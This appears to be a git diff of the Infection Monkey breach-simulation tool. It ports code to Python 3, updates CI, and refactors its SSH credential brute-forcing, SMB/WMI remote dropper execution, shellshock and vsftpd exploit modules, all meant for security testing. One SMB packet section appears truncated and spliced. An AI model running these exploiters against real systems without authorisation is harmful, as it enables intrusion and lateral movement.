diff --git a/.travis.yml b/.travis.yml
index b14482939..d5103b989 100644
--- a/.travis.yml
+++ b/.travis.yml
@@ -1,18 +1,29 @@
+# Infection Monkey travis.yml. See Travis documentation for information about this file structure.
+
group: travis_latest
language: python
cache: pip
python:
- - 2.7
+- 3.7
install:
- #- pip install -r requirements.txt
- - pip install flake8 # pytest # add another testing frameworks later
+- pip install -r monkey/monkey_island/requirements.txt # for unit tests
+- pip install flake8 pytest dlint # for next stages
+- pip install -r monkey/infection_monkey/requirements_linux.txt # for unit tests
before_script:
- # stop the build if there are Python syntax errors or undefined names
- - flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics
- # exit-zero treats all errors as warnings. The GitHub editor is 127 chars wide
- - flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics
+- flake8 . --count --select=E901,E999,F821,F822,F823 --show-source --statistics # Check syntax errors
+- flake8 . --count --exit-zero --max-complexity=10 --max-line-length=127 --statistics # warn about linter issues. --exit-zero
+ # means this stage will not fail the build. This is (hopefully) a temporary measure until all warnings are suppressed.
+- python monkey/monkey_island/cc/set_server_config.py testing # Set the server config to `testing`, for the UTs to use
+ # mongomaock and pass.
script:
- - true # pytest --capture=sys # add other tests here
+- cd monkey # This is our source dir
+- python -m pytest # Have to use `python -m pytest` instead of `pytest` to add "{$builddir}/monkey/monkey" to sys.path.
notifications:
- on_success: change
- on_failure: change # `always` will be the setting once code changes slow down
+ slack: # Notify to slack
+ rooms:
+ - infectionmonkey:QaXbsx4g7tHFJW0lhtiBmoAg#ci # room: #ci
+ on_success: change
+ on_failure: always
+ email:
+ on_success: change
+ on_failure: always
diff --git a/README.md b/README.md
index 67b5b2e8b..2d7490bfe 100644
--- a/README.md
+++ b/README.md
@@ -1,13 +1,18 @@
Infection Monkey
====================
+[![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey)
+[![GitHub release (latest by date)](https://img.shields.io/github/v/release/guardicore/monkey)](https://github.com/guardicore/monkey/releases)
+![GitHub stars](https://img.shields.io/github/stars/guardicore/monkey)
+![GitHub commit activity](https://img.shields.io/github/commit-activity/m/guardicore/monkey)
-### Data center Security Testing Tool
+## Data center Security Testing Tool
------------------------
Welcome to the Infection Monkey!
The Infection Monkey is an open source security tool for testing a data center's resiliency to perimeter breaches and internal server infection. The Monkey uses various methods to self propagate across a data center and reports success to a centralized Monkey Island server.
+
@@ -50,6 +55,12 @@ If you only want to build the monkey from source, see [Setup](https://github.com
and follow the instructions at the readme files under [infection_monkey](infection_monkey) and [monkey_island](monkey_island).
+### Build status
+| Branch | Status |
+| ------ | :----: |
+| Develop | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=develop)](https://travis-ci.com/guardicore/monkey) |
+| Master | [![Build Status](https://travis-ci.com/guardicore/monkey.svg?branch=master)](https://travis-ci.com/guardicore/monkey) |
+
License
=======
Copyright (c) Guardicore Ltd
diff --git a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
index e62cb2121..8ac53996b 100644
--- a/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
+++ b/envs/monkey_zoo/blackbox/island_client/monkey_island_requests.py
@@ -1,4 +1,5 @@
import requests
+import functools
# SHA3-512 of '1234567890!@#$%^&*()_nothing_up_my_sleeve_1234567890!@#$%^&*()'
import logging
@@ -8,6 +9,7 @@ NO_AUTH_CREDS = '55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d206
LOGGER = logging.getLogger(__name__)
+# noinspection PyArgumentList
class MonkeyIslandRequests(object):
def __init__(self, server_address):
self.addr = "https://{IP}/".format(IP=server_address)
@@ -21,29 +23,43 @@ class MonkeyIslandRequests(object):
"Unable to connect to island, aborting! Error information: {}. Server: {}".format(err, self.addr))
assert False
+ class _Decorators:
+ @classmethod
+ def refresh_jwt_token(cls, request_function):
+ @functools.wraps(request_function)
+ def request_function_wrapper(self, *args,**kwargs):
+ self.token = self.try_get_jwt_from_server()
+ # noinspection PyArgumentList
+ return request_function(self, *args, **kwargs)
+ return request_function_wrapper
+
def get_jwt_from_server(self):
resp = requests.post(self.addr + "api/auth",
json={"username": NO_AUTH_CREDS, "password": NO_AUTH_CREDS},
verify=False)
return resp.json()["access_token"]
+ @_Decorators.refresh_jwt_token
def get(self, url, data=None):
return requests.get(self.addr + url,
headers=self.get_jwt_header(),
params=data,
verify=False)
+ @_Decorators.refresh_jwt_token
def post(self, url, data):
return requests.post(self.addr + url,
data=data,
headers=self.get_jwt_header(),
verify=False)
+ @_Decorators.refresh_jwt_token
def post_json(self, url, dict_data):
return requests.post(self.addr + url,
json=dict_data,
headers=self.get_jwt_header(),
verify=False)
+ @_Decorators.refresh_jwt_token
def get_jwt_header(self):
return {"Authorization": "JWT " + self.token}
diff --git a/envs/monkey_zoo/blackbox/test_blackbox.py b/envs/monkey_zoo/blackbox/test_blackbox.py
index fc20c8b39..8581b6fbe 100644
--- a/envs/monkey_zoo/blackbox/test_blackbox.py
+++ b/envs/monkey_zoo/blackbox/test_blackbox.py
@@ -13,7 +13,7 @@ from envs.monkey_zoo.blackbox.log_handlers.test_logs_handler import TestLogsHand
DEFAULT_TIMEOUT_SECONDS = 5*60
MACHINE_BOOTUP_WAIT_SECONDS = 30
-GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'haddop-2', 'hadoop-3', 'mssql-16',
+GCP_TEST_MACHINE_LIST = ['sshkeys-11', 'sshkeys-12', 'elastic-4', 'elastic-5', 'hadoop-2', 'hadoop-3', 'mssql-16',
'mimikatz-14', 'mimikatz-15', 'struts2-23', 'struts2-24', 'tunneling-9', 'tunneling-10',
'tunneling-11', 'weblogic-18', 'weblogic-19', 'shellshock-8']
LOG_DIR_PATH = "./logs"
diff --git a/monkey/common/network/segmentation_utils_test.py b/monkey/common/network/segmentation_utils_test.py
index 56a560922..221f1d9bf 100644
--- a/monkey/common/network/segmentation_utils_test.py
+++ b/monkey/common/network/segmentation_utils_test.py
@@ -11,20 +11,20 @@ class TestSegmentationUtils(IslandTestCase):
# IP not in both
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("3.3.3.3"), text_type("4.4.4.4")], source, target
+ ["3.3.3.3", "4.4.4.4"], source, target
))
# IP not in source, in target
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("2.2.2.2")], source, target
+ ["2.2.2.2"], source, target
))
# IP in source, not in target
self.assertIsNotNone(get_ip_in_src_and_not_in_dst(
- [text_type("8.8.8.8"), text_type("1.1.1.1")], source, target
+ ["8.8.8.8", "1.1.1.1"], source, target
))
# IP in both subnets
self.assertIsNone(get_ip_in_src_and_not_in_dst(
- [text_type("8.8.8.8"), text_type("1.1.1.1")], source, source
+ ["8.8.8.8", "1.1.1.1"], source, source
))
diff --git a/monkey/infection_monkey/exploit/sambacry.py b/monkey/infection_monkey/exploit/sambacry.py
index e48a21616..e3825eac9 100644
--- a/monkey/infection_monkey/exploit/sambacry.py
+++ b/monkey/infection_monkey/exploit/sambacry.py
@@ -395,7 +395,7 @@ class SambaCryExploiter(HostExploiter):
if fileName != '':
smb2Create['Buffer'] = fileName.encode('utf-16le')
else:
- smb2Create['Buffer'] = '\x00'
+ smb2Create['Buffer'] = b'\x00'
if createContexts is not None:
smb2Create['Buffer'] += createContexts
diff --git a/monkey/infection_monkey/exploit/shellshock.py b/monkey/infection_monkey/exploit/shellshock.py
index edc4851e9..52be145cc 100644
--- a/monkey/infection_monkey/exploit/shellshock.py
+++ b/monkey/infection_monkey/exploit/shellshock.py
@@ -207,7 +207,7 @@ class ShellShockExploiter(HostExploiter):
LOG.debug("Header is: %s" % header)
LOG.debug("Attack is: %s" % attack)
r = requests.get(url, headers={header: attack}, verify=False, timeout=TIMEOUT)
- result = r.content
+ result = r.content.decode()
return result
except requests.exceptions.RequestException as exc:
LOG.debug("Failed to run, exception %s" % exc)
diff --git a/monkey/infection_monkey/exploit/smbexec.py b/monkey/infection_monkey/exploit/smbexec.py
index 18331e994..348b6803d 100644
--- a/monkey/infection_monkey/exploit/smbexec.py
+++ b/monkey/infection_monkey/exploit/smbexec.py
@@ -108,16 +108,15 @@ class SmbExploiter(HostExploiter):
cmdline = MONKEY_CMDLINE_DETACHED_WINDOWS % {'monkey_path': remote_full_path} + \
build_monkey_commandline(self.host, get_monkey_depth() - 1)
- for str_bind_format, port in list(SmbExploiter.KNOWN_PROTOCOLS.values()):
+ smb_conn = False
+ for str_bind_format, port in SmbExploiter.KNOWN_PROTOCOLS.values():
rpctransport = transport.DCERPCTransportFactory(str_bind_format % (self.host.ip_addr,))
rpctransport.set_dport(port)
-
if hasattr(rpctransport, 'preferred_dialect'):
rpctransport.preferred_dialect(SMB_DIALECT)
if hasattr(rpctransport, 'set_credentials'):
# This method exists only for selected protocol sequences.
- rpctransport.set_credentials(user, password, '',
- lm_hash, ntlm_hash, None)
+ rpctransport.set_credentials(user, password, '', lm_hash, ntlm_hash, None)
rpctransport.set_kerberos(SmbExploiter.USE_KERBEROS)
scmr_rpc = rpctransport.get_dce_rpc()
@@ -125,13 +124,14 @@ class SmbExploiter(HostExploiter):
try:
scmr_rpc.connect()
except Exception as exc:
- LOG.warning("Error connecting to SCM on exploited machine %r: %s",
- self.host, exc)
- return False
+ LOG.debug("Can't connect to SCM on exploited machine %r port %s : %s", self.host, port, exc)
+ continue
smb_conn = rpctransport.get_smb_connection()
break
+ if not smb_conn:
+ return False
# We don't wanna deal with timeouts from now on.
smb_conn.setTimeout(100000)
scmr_rpc.bind(scmr.MSRPC_UUID_SCMR)
diff --git a/monkey/infection_monkey/exploit/sshexec.py b/monkey/infection_monkey/exploit/sshexec.py
index cb0c1d63a..4a88c4593 100644
--- a/monkey/infection_monkey/exploit/sshexec.py
+++ b/monkey/infection_monkey/exploit/sshexec.py
@@ -9,6 +9,7 @@ from infection_monkey.exploit import HostExploiter
from infection_monkey.exploit.tools.helpers import get_target_monkey, get_monkey_depth, build_monkey_commandline
from infection_monkey.exploit.tools.helpers import get_interface_to_target
from infection_monkey.model import MONKEY_ARG
+from infection_monkey.exploit.tools.exceptions import FailedExploitationError
from infection_monkey.network.tools import check_tcp_port
from common.utils.exploit_enum import ExploitType
from common.utils.attack_utils import ScanStatus
@@ -37,15 +38,16 @@ class SSHExploiter(HostExploiter):
LOG.debug("SFTP transferred: %d bytes, total: %d bytes", transferred, total)
self._update_timestamp = time.time()
- def exploit_with_ssh_keys(self, port, ssh):
+ def exploit_with_ssh_keys(self, port) -> paramiko.SSHClient:
user_ssh_key_pairs = self._config.get_exploit_user_ssh_key_pairs()
- exploited = False
-
for user, ssh_key_pair in user_ssh_key_pairs:
# Creating file-like private key for paramiko
pkey = io.StringIO(ssh_key_pair['private_key'])
ssh_string = "%s@%s" % (ssh_key_pair['user'], ssh_key_pair['ip'])
+
+ ssh = paramiko.SSHClient()
+ ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
pkey = paramiko.RSAKey.from_private_key(pkey)
except(IOError, paramiko.SSHException, paramiko.PasswordRequiredException):
@@ -54,52 +56,49 @@ class SSHExploiter(HostExploiter):
ssh.connect(self.host.ip_addr,
username=user,
pkey=pkey,
- port=port,
- timeout=None)
+ port=port)
LOG.debug("Successfully logged in %s using %s users private key",
self.host, ssh_string)
- exploited = True
self.report_login_attempt(True, user, ssh_key=ssh_string)
- break
- except Exception as exc:
+ return ssh
+ except Exception:
+ ssh.close()
LOG.debug("Error logging into victim %r with %s"
" private key", self.host,
ssh_string)
self.report_login_attempt(False, user, ssh_key=ssh_string)
continue
- return exploited
+ raise FailedExploitationError
- def exploit_with_login_creds(self, port, ssh):
+ def exploit_with_login_creds(self, port) -> paramiko.SSHClient:
user_password_pairs = self._config.get_exploit_user_password_pairs()
- exploited = False
-
for user, current_password in user_password_pairs:
+
+ ssh = paramiko.SSHClient()
+ ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
try:
ssh.connect(self.host.ip_addr,
username=user,
password=current_password,
- port=port,
- timeout=None)
+ port=port)
LOG.debug("Successfully logged in %r using SSH. User: %s, pass (SHA-512): %s)",
self.host, user, self._config.hash_sensitive_data(current_password))
- exploited = True
self.add_vuln_port(port)
self.report_login_attempt(True, user, current_password)
- break
+ return ssh
except Exception as exc:
LOG.debug("Error logging into victim %r with user"
" %s and password (SHA-512) '%s': (%s)", self.host,
user, self._config.hash_sensitive_data(current_password), exc)
self.report_login_attempt(False, user, current_password)
+ ssh.close()
continue
- return exploited
+ raise FailedExploitationError
def _exploit_host(self):
- ssh = paramiko.SSHClient()
- ssh.set_missing_host_key_policy(paramiko.WarningPolicy())
port = SSH_PORT
# if ssh banner found on different port, use that port.
@@ -112,14 +111,14 @@ class SSHExploiter(HostExploiter):
LOG.info("SSH port is closed on %r, skipping", self.host)
return False
- # Check for possible ssh exploits
- exploited = self.exploit_with_ssh_keys(port, ssh)
- if not exploited:
- exploited = self.exploit_with_login_creds(port, ssh)
-
- if not exploited:
- LOG.debug("Exploiter SSHExploiter is giving up...")
- return False
+ try:
+ ssh = self.exploit_with_ssh_keys(port)
+ except FailedExploitationError:
+ try:
+ ssh = self.exploit_with_login_creds(port)
+ except FailedExploitationError:
+ LOG.debug("Exploiter SSHExploiter is giving up...")
+ return False
if not self.host.os.get('type'):
try:
diff --git a/monkey/infection_monkey/exploit/tools/exceptions.py b/monkey/infection_monkey/exploit/tools/exceptions.py
index eabe8d9d7..a322dc5bd 100644
--- a/monkey/infection_monkey/exploit/tools/exceptions.py
+++ b/monkey/infection_monkey/exploit/tools/exceptions.py
@@ -2,4 +2,7 @@
class ExploitingVulnerableMachineError(Exception):
""" Raise when exploiter failed, but machine is vulnerable"""
- pass
+
+
+class FailedExploitationError(Exception):
+ """ Raise when exploiter fails instead of returning False"""
diff --git a/monkey/infection_monkey/exploit/vsftpd.py b/monkey/infection_monkey/exploit/vsftpd.py
index 136a8a36b..d4116c96c 100644
--- a/monkey/infection_monkey/exploit/vsftpd.py
+++ b/monkey/infection_monkey/exploit/vsftpd.py
@@ -45,7 +45,7 @@ class VSFTPDExploiter(HostExploiter):
s.connect((ip_addr, port))
return True
except socket.error as e:
- LOG.error('Failed to connect to %s', self.host.ip_addr)
+ LOG.info('Failed to connect to %s: %s', self.host.ip_addr, str(e))
return False
def socket_send_recv(self, s, message):
@@ -53,7 +53,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return s.recv(RECV_128).decode('utf-8')
except socket.error as e:
- LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
return False
def socket_send(self, s, message):
@@ -61,7 +61,7 @@ class VSFTPDExploiter(HostExploiter):
s.send(message)
return True
except socket.error as e:
- LOG.error('Failed to send payload to %s', self.host.ip_addr)
+ LOG.info('Failed to send payload to %s: %s', self.host.ip_addr, str(e))
return False
def _exploit_host(self):
diff --git a/monkey/infection_monkey/exploit/wmiexec.py b/monkey/infection_monkey/exploit/wmiexec.py
index 947fd57a1..a1da97efe 100644
--- a/monkey/infection_monkey/exploit/wmiexec.py
+++ b/monkey/infection_monkey/exploit/wmiexec.py
@@ -104,9 +104,9 @@ class WmiExploiter(HostExploiter):
ntpath.split(remote_full_path)[0],
None)
- if (0 != result.ProcessId) and (0 == result.ReturnValue):
- LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, exit_code=%d, cmdline=%r)",
- remote_full_path, self.host, result.ProcessId, result.ReturnValue, cmdline)
+ if (0 != result.ProcessId) and (not result.ReturnValue):
+ LOG.info("Executed dropper '%s' on remote victim %r (pid=%d, cmdline=%r)",
+ remote_full_path, self.host, result.ProcessId, cmdline)
self.add_vuln_port(port='unknown')
success = True
diff --git a/monkey/infection_monkey/network/smbfinger.py b/monkey/infection_monkey/network/smbfinger.py
index 1e765114c..8a267e9d1 100644
--- a/monkey/infection_monkey/network/smbfinger.py
+++ b/monkey/infection_monkey/network/smbfinger.py
@@ -12,7 +12,7 @@ SMB_SERVICE = 'tcp-445'
LOG = logging.getLogger(__name__)
-class Packet(object):
+class Packet:
fields = odict([
("data", ""),
])
@@ -25,78 +25,79 @@ class Packet(object):
else:
self.fields[k] = v
- def __str__(self):
- return "".join(map(str, list(self.fields.values())))
+ def to_byte_string(self):
+ content_list = [(x.to_byte_string() if hasattr(x, "to_byte_string") else x) for x in self.fields.values()]
+ return b"".join(content_list)
##### SMB Packets #####
class SMBHeader(Packet):
fields = odict([
- ("proto", "\xff\x53\x4d\x42"),
- ("cmd", "\x72"),
- ("errorcode", "\x00\x00\x00\x00"),
- ("flag1", "\x00"),
- ("flag2", "\x00\x00"),
- ("pidhigh", "\x00\x00"),
- ("signature", "\x00\x00\x00\x00\x00\x00\x00\x00"),
- ("reserved", "\x00\x00"),
- ("tid", "\x00\x00"),
- ("pid", "\x00\x00"),
- ("uid", "\x00\x00"),
- ("mid", "\x00\x00"),
+ ("proto", b"\xff\x53\x4d\x42"),
+ ("cmd", b"\x72"),
+ ("errorcode", b"\x00\x00\x00\x00"),
+ ("flag1", b"\x00"),
+ ("flag2", b"\x00\x00"),
+ ("pidhigh", b"\x00\x00"),
+ ("signature", b"\x00\x00\x00\x00\x00\x00\x00\x00"),
+ ("reserved", b"\x00\x00"),
+ ("tid", b"\x00\x00"),
+ ("pid", b"\x00\x00"),
+ ("uid", b"\x00\x00"),
+ ("mid", b"\x00\x00"),
])
class SMBNego(Packet):
fields = odict([
- ("wordcount", "\x00"),
- ("bcc", "\x62\x00"),
+ ("wordcount", b"\x00"),
+ ("bcc", b"\x62\x00"),
("data", "")
])
def calculate(self):
- self.fields["bcc"] = struct.pack("i", len(packet_)) + packet_.encode()
+ packet_ = h.to_byte_string() + n.to_byte_string()
+ buffer = struct.pack(">i", len(packet_)) + packet_
s.send(buffer)
data = s.recv(2048)
- if data[8:10] == "\x72\x00":
- header = SMBHeader(cmd="\x73", flag1="\x18", flag2="\x17\xc8", uid="\x00\x00")
+ if data[8:10] == b"\x72\x00":
+ header = SMBHeader(cmd=b"\x73", flag1=b"\x18", flag2=b"\x17\xc8", uid=b"\x00\x00")
body = SMBSessionFingerData()
body.calculate()
- packet_ = str(header) + str(body)
- buffer = struct.pack(">i", len(packet_)) + packet_.encode()
+ packet_ = header.to_byte_string() + body.to_byte_string()
+ buffer = struct.pack(">i", len(packet_)) + packet_
s.send(buffer)
data = s.recv(2048)
- if data[8:10] == "\x73\x16":
+ if data[8:10] == b"\x73\x16":
length = struct.unpack(' res.json())
.then(res => {
- res.edges.forEach(edge => {
- edge.color = {'color': edgeGroupToColor(edge.group)};
- });
- this.setState({graph: res});
- this.props.onStatusChange();
+ if (res.hasOwnProperty("edges")) {
+ res.edges.forEach(edge => {
+ edge.color = {'color': edgeGroupToColor(edge.group)};
+ });
+ this.setState({graph: res});
+ this.props.onStatusChange();
+ }
});
};
@@ -55,14 +57,16 @@ class MapPageComponent extends AuthComponent {
this.authFetch('/api/telemetry-feed?timestamp='+this.state.telemetryLastTimestamp)
.then(res => res.json())
.then(res => {
- let newTelem = this.state.telemetry.concat(res['telemetries']);
+ if ('telemetries' in res) {
+ let newTelem = this.state.telemetry.concat(res['telemetries']);
- this.setState(
- {
- telemetry: newTelem,
- telemetryLastTimestamp: res['timestamp']
- });
- this.props.onStatusChange();
+ this.setState(
+ {
+ telemetry: newTelem,
+ telemetryLastTimestamp: res['timestamp']
+ });
+ this.props.onStatusChange();
+ }
});
};
diff --git a/monkey/monkey_island/cc/ui/src/services/AuthService.js b/monkey/monkey_island/cc/ui/src/services/AuthService.js
index 9c62bde63..962329720 100644
--- a/monkey/monkey_island/cc/ui/src/services/AuthService.js
+++ b/monkey/monkey_island/cc/ui/src/services/AuthService.js
@@ -7,6 +7,8 @@ export default class AuthService {
"55e97c9dcfd22b8079189ddaeea9bce8125887e3237b800c6176c9afa80d2062" +
"8d2c8d0b1538d2208c1444ac66535b764a3d902b35e751df3faec1e477ed3557";
+ SECONDS_BEFORE_JWT_EXPIRES = 20;
+
login = (username, password) => {
return this._login(username, this.hashSha3(password));
};
@@ -96,7 +98,7 @@ export default class AuthService {
_isTokenExpired(token) {
try {
- return decode(token)['exp'] < Date.now() / 1000;
+ return decode(token)['exp'] - this.SECONDS_BEFORE_JWT_EXPIRES < Date.now() / 1000;
}
catch (err) {
return false;
diff --git a/monkey/monkey_island/requirements.txt b/monkey/monkey_island/requirements.txt
index c6088a3ea..77ff9a620 100644
--- a/monkey/monkey_island/requirements.txt
+++ b/monkey/monkey_island/requirements.txt
@@ -1,3 +1,5 @@
+pytest
+bson
python-dateutil
tornado
werkzeug
diff --git a/monkey/pytest.ini b/monkey/pytest.ini
new file mode 100644
index 000000000..3d355a4ac
--- /dev/null
+++ b/monkey/pytest.ini
@@ -0,0 +1,6 @@
+[pytest]
+log_cli = 1
+log_cli_level = DEBUG
+log_cli_format = %(asctime)s [%(levelname)s] %(module)s.%(funcName)s.%(lineno)d: %(message)s
+log_cli_date_format=%H:%M:%S
+addopts = -v --capture=sys